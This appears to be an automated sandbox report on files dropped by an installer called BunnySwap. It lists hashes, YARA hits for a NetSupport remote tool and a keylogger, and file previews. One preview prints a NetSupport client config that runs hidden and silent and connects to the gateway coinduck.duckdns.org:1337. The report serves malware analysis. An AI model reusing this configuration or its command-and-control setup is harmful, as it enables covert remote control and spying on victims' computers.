SSDEEP:	12:zJBhzd+mPfGSzWVTXzPfY8zaKIDWss1CYublumDW3qoy:NBhzEmPfPo1zrIDvsPuhDW3qoy
MD5:	EB16DFF6B2FE07568D65C4621F30DE1C
SHA1:	A1DC780C832274553C0F742BA3E16EEF5F5FEE8D
SHA-256:	9DBE97259C0C5384D67B7D3DC7A8995660DBE69F8A7F56CCF99BBFED6D5BFB28
SHA-512:	2921479829D7F2533F4205941369D232531A52FCEB1EBD9291119A5024A85A15C6B246B44988E9371FDA6B721D3A751CB4425E7E7D36970E981D928EA07109A7
Malicious:	false
Reputation:	unknown
Preview:	0x15770172....[Client].._present=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableMessage=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..SecurityKey=FG;F@EEBHD;D>EAG..Shared=1..silent=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..Usernames=..ValidAddresses.TCP=....[_Info]..Filename=C:\Users\Administrator\Desktop\client32.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[Bridge]..Modem=....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=coinduck.duckdns.org:1337..GSK=FG;F@EEBHD;D>EAG..Port=1337..

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-4IOKS.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	777232
Entropy (8bit):	6.905817006826448
Encrypted:	false
SSDEEP:	12288:BMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoey:SmCy3KxW3ixPEmxsvGrm8Z6r+JQPzVG
MD5:	7AA3E993FFEF3A554EBAB6532EAC4075
SHA1:	92B541293C63A4FB343327A1CC7708F96E7EEC74
SHA-256:	AAF5BD6CDF7EAE9D3ED153033917B3AED750D48AB11222569246DB162D94B72E
SHA-512:	97D91945D2F90594505CE67E2CE6F9BF4CFABE7EC5A0461AC5BF82C8BD1094308C99A02D4CC25276DC9701C8109AFE1F69726964F2E06DCE98F005F0E8F5EC49
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x................................a*....@..........................H......d...(........................$......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-56656.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	395280
Entropy (8bit):	6.798812382883384
Encrypted:	false
SSDEEP:	12288:1qArkLoM/5iec2yxvUh3ho2LDnOQQ1k3+h9APjbom/nF:8kuK2XOjksobom/nF
MD5:	4AE68042D513CBA160CDAAFE45D35582
SHA1:	9A07EBD26FAB57947B20647AC6CA0019475FFB44
SHA-256:	CC2B02AC7ED7656E4D26574367C571DFC44D3F167838F0EE868CDB8B493B3FF4
SHA-512:	B78F80697BA16C33BA9EDE2D2019CEB6173C8A2D335D6990B75613C1AF21669F25EA8F2D0E3C56AF08578D038CF3B66CA4E55CA252AD699A805598993A3D5BE8
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-56656.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....8.W...........!................'...............................................E.....@.............................o...D...x....0..@................$...@..\E..................................Pd..@...............h............................text............................... ..`.rdata..............................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc...F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-5RA7V.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	633
Entropy (8bit):	5.271884987286422
Encrypted:	false
SSDEEP:	12:zJBhzd+mPfGSzWVTXzPfY8zaKIDWss1CYublumDW3qoy:NBhzEmPfPo1zrIDvsPuhDW3qoy
MD5:	EB16DFF6B2FE07568D65C4621F30DE1C
SHA1:	A1DC780C832274553C0F742BA3E16EEF5F5FEE8D
SHA-256:	9DBE97259C0C5384D67B7D3DC7A8995660DBE69F8A7F56CCF99BBFED6D5BFB28
SHA-512:	2921479829D7F2533F4205941369D232531A52FCEB1EBD9291119A5024A85A15C6B246B44988E9371FDA6B721D3A751CB4425E7E7D36970E981D928EA07109A7
Malicious:	false
Reputation:	unknown
Preview:	0x15770172....[Client].._present=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableMessage=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..SecurityKey=FG;F@EEBHD;D>EAG..Shared=1..silent=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..Usernames=..ValidAddresses.TCP=....[_Info]..Filename=C:\Users\Administrator\Desktop\client32.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[Bridge]..Modem=....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=coinduck.duckdns.org:1337..GSK=FG;F@EEBHD;D>EAG..Port=1337..

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3738640
Entropy (8bit):	6.5259550264690755
Encrypted:	false
SSDEEP:	49152:LKJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJS:LKJ/zIPq7F4fmXO8u6kS+yn
MD5:	21E49D937A929DB0FF9C265E8B2B6777
SHA1:	88000B29BB69B3E8A29F30F0274DE3E71A8B7EF7
SHA-256:	9B760F2AA4576D044BCD33E21943A8CBCCD9C56D17D598FA509213E05F9939C1
SHA-512:	165664B4D3B6AA2C481665A9AED572A7445CD32052066FAF7BF05340820D8AFC3CF4660A344D2A06E6F3BCABBFA7923EB61C39B7367735EDE0F5154F9696D1BF
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....[n9.............................p................p................8..$...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-7QDFO.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.16961692159381
Encrypted:	false
SSDEEP:	6:O/oP6QAI4xRPjwxPUA1DKHMoEEjLgpW2MCrRH7KWYpPM/ioYa8l6i7s:XCQ+R7wxPUVJjjqW2MC9KBPM/iot8l6J
MD5:	AC5D5CC9ACAD4531EF1BD16145EA68BD
SHA1:	F9D92F79A934815B645591EBBD6F5D20AA6A3E38
SHA-256:	68C787616681427557343E42EDE5805DFBEEB580C59F69C4706B500F225E2C6B
SHA-512:	196863E039E9C83FB0F8EB3F0A6119DB31A624E7EF4E9BA99516702E76796957F0EBF87E8728E1BD0DE6CD7420BEC6E644CAA58A0724A7208E9A765D6EB78F64
Malicious:	false
Reputation:	unknown
Preview:	1200..0xde854b37....; NetSupport License File...; Generated on 13:46 - 30/06/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=DONALDTRUMP..maxslaves=1500..os2=1..product=10..serial_no=NSM350561..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-AI8EO.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326672
Entropy (8bit):	6.742281512000612
Encrypted:	false
SSDEEP:	6144:fib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKGq:fib5YbsXioEgULFpSzya9/lY5SilQCfT
MD5:	BF9DD864F5822DC28FFCE9529BAE15BA
SHA1:	EE578BA78DDAF0547EDD23355DBC658CDC1B86AB
SHA-256:	74328F7F2D08CFC734CC5151BC68377962D1E0A75137908925A604B3D18B7BE6
SHA-512:	EA00797C9E7117452E3A7F94DB016E22DAD0246C439DAAAE304ECFB5C5DE19D2DB0C63CE1EDD135A409F07BA75B19BD6428A7AB6D80A9DC65FF473FF985EF43E
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-AI8EO.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P............@......................... ...k....y..x.......@................$.......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-DKH09.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31760
Entropy (8bit):	6.627298416859231
Encrypted:	false
SSDEEP:	768:sFvNhAyi5hHA448qZkSn+EgTL0FizKgu2:sCyoHA448qSSzgf0F+k2
MD5:	191BD0CC859E47AAA7C5195F58F56D4E
SHA1:	C2D91B7688AB3D4FBC08DC8DF895323CA2C47460
SHA-256:	3D30CAF999BBD1C39B681F4782C2F703C02B9956C4A77D7D531E20CA02FFAA29
SHA-512:	9C876AFDC1B3CAB2C01D1D369D6C532EDC4377876ED95F324E0E638860852D41052796A16F7314EF922BB7FF6EDB9F3687F6EDFB342B6524951906340C614B08
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-DKH09.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`......or....@..........................^.......W..d....@..x............X...$...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-G60AU.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73808
Entropy (8bit):	6.590203491308523
Encrypted:	false
SSDEEP:	1536:uf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQw+z2qzkWXi:o6f7cjJ4U4I1jFqy92T1gg
MD5:	8AD660F867C54740021E61F16B826813
SHA1:	26729B288218C341FDD3831D9557D87C3AED8C64
SHA-256:	52719D8FF086E4136C06C46F788A02A6E995EA25A2DD50EEAB129E4347284EE3
SHA-512:	88290218F38FC20820C5B6B05DB021F4160B19C8430BD97A4715B3BF1BB99106583A3CBC93C1E0414FFDAFFD88646CF3940F796196D9FB04CED6319F9BADBF44
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......C....@....................................<.......T...............HA..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-GM773.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17424
Entropy (8bit):	6.072645835249466
Encrypted:	false
SSDEEP:	192:OogL7bo2t6n76RRHirmH0qh/laxttpYg2E4VtHith5VVgCVLWwsU7K6CYSa:OogL7bo2YrmGxLh4VtHith5kCCMK6jSa
MD5:	018B7364F4DE19D99C37665EB8555FC5
SHA1:	661D32B263131F27C890A3A17E3A7F58B0035F93
SHA-256:	FB68BF34AE44C30267E5034D65E7D917033631F8290A17DE264DE5189F1C9E71
SHA-512:	82EB86E58894D3BEED9F7EFEFDD9F8ECE4D4D1AF7D95E8751054EAC18FF8EB08E6BFDD0CCF132F666B2BDD47669FDC4B1FCF4C172A4CF3F25B0464E6943489F8
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-GM773.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`......S.....@.........................@#..r...h!..P....@............... ...$...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-K6F8Q.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	Windows setup INFormation, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	unknown
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-KS4MO.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Reputation:	unknown
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-P6LCV.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Reputation:	unknown
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-R69AL.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115792
Entropy (8bit):	5.027220112383088
Encrypted:	false
SSDEEP:	768:qvVZl6FhWr80/ggG1ItzkPKgcPzXUriXiRy:qr0hGIgxtz2qzkWXi
MD5:	5C25D0078A58280BE572BFE68F5FE73C
SHA1:	47F2BCC1E9405B863CCE67BCAC6A4A77EF957050
SHA-256:	0EC80B42EE511C5970C8810B9079DF07761E4C528E493EA6F73B36D2D3A61E32
SHA-512:	654F9101067A58210E9B6CFD1A57BFE4572B08FA8381BD1D1B454C971E8ACDF735DDF6333B94355A789FFD384FF41E5925AFF295315EE3A5058B207137E0329B
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-R69AL.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@.......................................@.................................< ..<....0...i..............HA.......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\msvcr100.dll (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	777232
Entropy (8bit):	6.905817006826448
Encrypted:	false
SSDEEP:	12288:BMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoey:SmCy3KxW3ixPEmxsvGrm8Z6r+JQPzVG
MD5:	7AA3E993FFEF3A554EBAB6532EAC4075
SHA1:	92B541293C63A4FB343327A1CC7708F96E7EEC74
SHA-256:	AAF5BD6CDF7EAE9D3ED153033917B3AED750D48AB11222569246DB162D94B72E
SHA-512:	97D91945D2F90594505CE67E2CE6F9BF4CFABE7EC5A0461AC5BF82C8BD1094308C99A02D4CC25276DC9701C8109AFE1F69726964F2E06DCE98F005F0E8F5EC49
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x................................a*....@..........................H......d...(........................$......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\nskbfltr.inf (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	Windows setup INFormation, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	unknown
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\nsm_vpro.ini (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Reputation:	unknown
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\pcicapi.dll (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31760
Entropy (8bit):	6.627298416859231
Encrypted:	false
SSDEEP:	768:sFvNhAyi5hHA448qZkSn+EgTL0FizKgu2:sCyoHA448qSSzgf0F+k2
MD5:	191BD0CC859E47AAA7C5195F58F56D4E
SHA1:	C2D91B7688AB3D4FBC08DC8DF895323CA2C47460
SHA-256:	3D30CAF999BBD1C39B681F4782C2F703C02B9956C4A77D7D531E20CA02FFAA29
SHA-512:	9C876AFDC1B3CAB2C01D1D369D6C532EDC4377876ED95F324E0E638860852D41052796A16F7314EF922BB7FF6EDB9F3687F6EDFB342B6524951906340C614B08
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`......or....@..........................^.......W..d....@..x............X...$...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\remcmdstub.exe (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73808
Entropy (8bit):	6.590203491308523
Encrypted:	false
SSDEEP:	1536:uf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQw+z2qzkWXi:o6f7cjJ4U4I1jFqy92T1gg
MD5:	8AD660F867C54740021E61F16B826813
SHA1:	26729B288218C341FDD3831D9557D87C3AED8C64
SHA-256:	52719D8FF086E4136C06C46F788A02A6E995EA25A2DD50EEAB129E4347284EE3
SHA-512:	88290218F38FC20820C5B6B05DB021F4160B19C8430BD97A4715B3BF1BB99106583A3CBC93C1E0414FFDAFFD88646CF3940F796196D9FB04CED6319F9BADBF44
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......C....@....................................<.......T...............HA..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\updater.exe (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115792
Entropy (8bit):	5.027220112383088
Encrypted:	false
SSDEEP:	768:qvVZl6FhWr80/ggG1ItzkPKgcPzXUriXiRy:qr0hGIgxtz2qzkWXi
MD5:	5C25D0078A58280BE572BFE68F5FE73C
SHA1:	47F2BCC1E9405B863CCE67BCAC6A4A77EF957050
SHA-256:	0EC80B42EE511C5970C8810B9079DF07761E4C528E493EA6F73B36D2D3A61E32
SHA-512:	654F9101067A58210E9B6CFD1A57BFE4572B08FA8381BD1D1B454C971E8ACDF735DDF6333B94355A789FFD384FF41E5925AFF295315EE3A5058B207137E0329B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@.......................................@.................................< ..<....0...i..............HA.......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\HTCTL32.DLL (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326672
Entropy (8bit):	6.742281512000612
Encrypted:	false
SSDEEP:	6144:fib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKGq:fib5YbsXioEgULFpSzya9/lY5SilQCfT
MD5:	BF9DD864F5822DC28FFCE9529BAE15BA
SHA1:	EE578BA78DDAF0547EDD23355DBC658CDC1B86AB
SHA-256:	74328F7F2D08CFC734CC5151BC68377962D1E0A75137908925A604B3D18B7BE6
SHA-512:	EA00797C9E7117452E3A7F94DB016E22DAD0246C439DAAAE304ECFB5C5DE19D2DB0C63CE1EDD135A409F07BA75B19BD6428A7AB6D80A9DC65FF473FF985EF43E
Malicious:	false
Reputation:	unknown
